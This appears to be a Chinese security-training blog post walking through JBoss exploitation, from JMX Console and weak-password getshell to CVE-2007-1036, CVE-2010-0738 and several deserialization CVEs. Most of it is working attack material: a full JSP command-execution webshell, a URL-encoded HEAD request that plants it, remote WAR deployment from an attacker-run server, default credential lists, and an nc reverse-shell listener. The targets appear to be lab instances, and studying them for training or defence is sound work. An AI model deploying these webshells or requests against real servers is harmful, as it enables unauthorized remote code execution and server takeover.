02.JBoss漏洞
本文最后更新于520 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

一、Jboss简介

JBoss是一个高度可扩展的、基于 J2EE的开放源代码的应用服务器
JBoss 是一个管理 EJB 的容器和服务器,但 JBoss 核心服务不包括支持 servlet/JSP 的WEB容器,一 般与Tomcat或 Jetty绑定使用。Jboss是Java EE应用服务器(就像Apache是web服务器一样),专门用来运行 Java EE程序的。

二、Jboss历史漏洞

漏洞类型 漏洞名称
访问控制不严导致的漏洞 JMXConsole未授权访问Getshell
Administration Console 弱口令 Getshell
CVE-2007-1036 – JMX Console HtmlAdaptor Getshell
CVE-2010-0738-JMX控制台安全验证绕过漏洞
反序列化漏洞 CVE-2013-4810 – JBoss EJBInvokerServlet 反序列化漏洞
CVE-2015-7501-JBoss JMXInvokerServlet 反序列化漏洞
CVE-2017-7504- JBoSS 4.x JBossMQ JMS 反序列化漏洞
CVE-2017-12149-JBosS AS 6.X 反序列化漏洞

三、Jboss历史漏洞发现

  • Jboss默认页面
    QQ_1736693939868.png

  • Jboss漏洞检测
    jbossScan
    将目标一行一个放入target.txt

python jbossScan.py

jexboss

python jexboss.py -u http://05d3176f8732.target.yijinglab.com/

四、Jboss历史漏洞利用

1.JMX Console 未授权访问漏洞

1)漏洞简介

JBoss的webUI界面 http://ip:port/jmx-console 未授权访问(或默认密码 admin/admin),可导致 JBoss 的部署管理的信息泄露,攻击者也可以直接上传木马获取webshell

2)漏洞发现

访问如下地址

http://be65b34bd6aa.target.yijinglab.com/jmx-console/

如果能直接访问或者可以通过默认账号密码登录访问则代表存在漏洞
Pasted image 20250112230739.png

3)漏洞利用

(1)远程部署war包
  1. 找到 jboss.deployment 选项 (Jboss自带的部署功能)中的flavor=URL,type=DeploymentScanner点 进去(通过 url 的方式远程部署)
    Pasted image 20250113092223.png

  2. 也可以直接输入类似如下URL访问:

http://6c8634f11b98.target.yijinglab.com/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL
  1. 进入页面后找到void addURL()
    Pasted image 20250113092735.png

  2. 此时部署我们远程的war包木马

# 打包jsp马为war包
jar -cvf shell.war shell.jsp

# 在vps上启动web服务
python -m http.server

# war包下载地址
http://vps-IP:8000/shell.war
  1. 然后点击Invoke部署
    Pasted image 20250113103445.png

  2. 随后点击 Back to MBean View来到 URLList 中查看 Value 值是否已经部署好,并且为我们的远程war 木马地址

    Pasted image 20250113103733.png

    Pasted image 20250113104844.png

  3. 最后点击 Apply Changes 后耐心等待一会儿,然后回到 JMX-Console 目录中
    Pasted image 20250113104929.png

  4. 返回jmx-console 目录找到 jboss.web.deployment 查看是否存在我们部署的war木马
    Pasted image 20250113105104.png

  5. 此时可以看到已经部署成功,

webshell访问地址:http://xxx.xxx.xxx.xxx/bx3/bx3.jsp

连接密码:

rebeyond
(2)脚本利用

JbossVulExploit
开启vps的http服务

python -m http.server

Pasted image 20250113105510.png

python JbossUnauth.py

Pasted image 20250113105633.png

尝试连接
Pasted image 20250113105754.png

成功连接
Pasted image 20250113105821.png

2.Jboss弱口令Getshell

1)漏洞简介

JBoss Administration Console存在默认账号密码,如果Administration Console可以登录,就可以在后台部署war包getshell

jboss常见弱口令:

admin/admin
jboss/admin
admin/jboss
admin/123456
admin/password

2)漏洞利用

  1. 点击Administration Console
    Pasted image 20250113121302.png

  2. 输入默认账号密码 admin/vulhub
    Pasted image 20250113121534.png

  3. 进入后台
    Pasted image 20250113121609.png

  4. 进入后找到Web Application (WAR),点击Add a new resource
    Pasted image 20250113121810.png

  5. 选择一个要部署的war包, 注意war 包的名字不能是纯数字,例如0123.war 上传会出错
    Pasted image 20250113122228.png

  6. 部署成功,然后访问http://bd817ebf4e51.target.yijinglab.com/bx3/bx3.jsp , 实际路 径需要根据自己的war 包进行修改
    Pasted image 20250113122542.png

Pasted image 20250113122438.png

Pasted image 20250113122454.png

3.CVE-2007-1036

1)漏洞简介

此漏洞主要是由于JBoss中 /jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导 致攻击者可以进入到JMX控制台,并在其中执行任何功能。该漏洞利用的是后台中 jboss.admin -> DeploymentFileRepository -> store()方法,通过向四个参数传入信息,达到上传shell的目的,其中 p1传入的是部署的war包名字,p2传入的是上传的文件的文件名,p3传入的是上传文件的文件格式,p4 传入的是上传文件中的内容。通过控制这四个参数即可上传shell,控制整台服务器。但是通过实验发现, p2和p3可以进行文件的拼接,例如 p2=she,p3=ll.jsp。这个时候服务器还是会进行拼接,将 shell.jsp传入到指定路径下。

2)影响版本

jboss4.x以下

3)漏洞利用

(1)手动测试
  1. 通过访问下面的url定位到store()方法
http://xx.xx.xx.xx/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository

Pasted image 20250113165001.png

p1   shell.war
p2   shell
p3   .jsp
p4   <%@ page import="java.io.*" %> 
<% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s +"\r\n"; } } catch(IOException e) { e.printStackTrace(); } } out.println(output);%>

注意:不要用数字作为名称

  1. Invoke之后会将p1参数创建 war包,把p2和p3两个参数加起来当作文件名,p4是文件写入的内容

  2. 最后访问 http://xx.xx.xx.xx/shell/shell.jsp即可
    Pasted image 20250113165225.png

(2)脚本利用

启动脚本

python CVE-2007-1036.py

Pasted image 20250113170830.png

链接冰蝎
Pasted image 20250113170914.png

链接成功
Pasted image 20250113171024.png

4.CVE-2010-0738

1)漏洞简介

利用原理与 CVE-2007-1036相同,只不过利用HEAD请求方法绕过GET和POST请求的限制

2)影响版本

jboss4.2.0-jboss4.3.0

3)漏洞利用

构造利用请求

HEAD /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodIndex=5&arg0=../jmx-console.war/&arg1=shell&arg2=.jsp&arg3=%3c%25%40%20%70%61%67%65%20%69%6d%70%6f%72%74%3d%22%6a%61%76%61%2e%69%6f%2e%2a%22%20%25%3e%20%0d%0a%3c%25%20%53%74%72%69%6e%67%20%63%6d%64%20%3d%20%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6d%64%22%29%3b%20%53%74%72%69%6e%67%20%6f%75%74%70%75%74%20%3d%20%22%22%3b%20%69%66%28%63%6d%64%20%21%3d%20%6e%75%6c%6c%29%20%7b%20%53%74%72%69%6e%67%20%73%20%3d%20%6e%75%6c%6c%3b%20%74%72%79%20%7b%20%50%72%6f%63%65%73%73%20%70%20%3d%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%63%6d%64%29%3b%20%42%75%66%66%65%72%65%64%52%65%61%64%65%72%20%73%49%20%3d%20%6e%65%77%20%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%6e%65%77%20%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%70%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%3b%20%77%68%69%6c%65%28%28%73%20%3d%20%73%49%2e%72%65%61%64%4c%69%6e%65%28%29%29%20%21%3d%20%6e%75%6c%6c%29%20%7b%20%6f%75%74%70%75%74%20%2b%3d%20%73%20%2b%22%5c%72%5c%6e%22%3b%20%7d%20%7d%20%63%61%74%63%68%28%49%4f%45%78%63%65%70%74%69%6f%6e%20%65%29%20%7b%20%65%2e%70%72%69%6e%74%53%74%61%63%6b%54%72%61%63%65%28%29%3b%20%7d%20%7d%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%6f%75%74%70%75%74%29%3b%25%3e&arg4=True HTTP/1.1
Host: target.yijinglab.com:50440
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,la;q=0.8,en;q=0.7
Cookie: JSESSIONID=0cNBlffLQCpH2yT4FG1hghTZgfk0C6gn2lbkwvdFPh5VbqyC7D5T!598670600
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

5.CVE-2015-7501

1)漏洞简介

JBoss 在 /invoker/JMXInvokerServlet 请求中读取了用户传入的对象,然后我们可以利用 Commons Collections 中的 Gadget 执行任意代码 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 Apache ReadOnlyAccessFilter 过滤器中没 有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化, JBoss 在 /invoker/JMXInvokerServlet 请求中读取了用户传入的对象,从而导致了漏洞。

2)漏洞发现

浏览器访问 http://ip:port/invoker/JMXInvokerServlet 直接下载文件,说明存在接口,及存在漏洞

3)漏洞利用

手动实现可以参考课件

自动化脚本 JbossVulExploit/JavaDeserH2HC
注意:只能在linux上用

  1. 开启vps监听
nc -lnvp 7777
  1. 使用脚本获取反弹shell
python CVE-2015-7501.py

Pasted image 20250113192101.png

Pasted image 20250113192125.png

6.CVE-2017-7504

1)漏洞简介

JBoss AS 4.x及之前版本中, JbossMQ实现过程的 JMS over HTTP Invocation Layer的 HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执 行任意代码。 CVE-2017-7504漏洞与 CVE-2015-7501的漏洞原理相似,只是利用的路径稍微出现了变化, 7504出现在 CVE-2017 /jbossmq-httpil/HTTPServerILServlet路径下。JBoss AS 4.x及之前版本中,JbossMQ 实现过程的 JMS over HTTP Invocation Layer的 HTTPServerILServlet.java⽂件存在反序列化漏 洞,远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码。

2)影响范围

JBoss AS 4.x及之前版本

3)漏洞发现

访问http://IP地址:端口/jbossmq-httpil/HTTPServerILServlet,若出现如下界面则存在漏洞
Pasted image 20250113192941.png

4)漏洞利用

JavaDeserH2HC

python CVE-2017-7504.py

和CVE-2015-7501使用一样

7. CVE-2017-12149

1)漏洞简介

JBOSSApplication Server反序列化命令执行漏洞(CVE-2017-12149),远程攻击者利用漏洞可在未经任 何身份验证的服务器主机上执行任意代码。漏洞危害程度为高危(High)。
该漏洞为 Java反序列化错误类型,存在于 Jboss的 HttpInvoker组件中的 ReadOnlyAccessFilter过 滤器中没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

2)影响范围

JBoss 5.x – 6.x

3)漏洞发现

访问http://IP地址:端口/invoker/readonly,若返回如下显示状态码为500的报错界面,则证明漏洞 存在

4)漏洞利用

JavaDeserH2HC

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇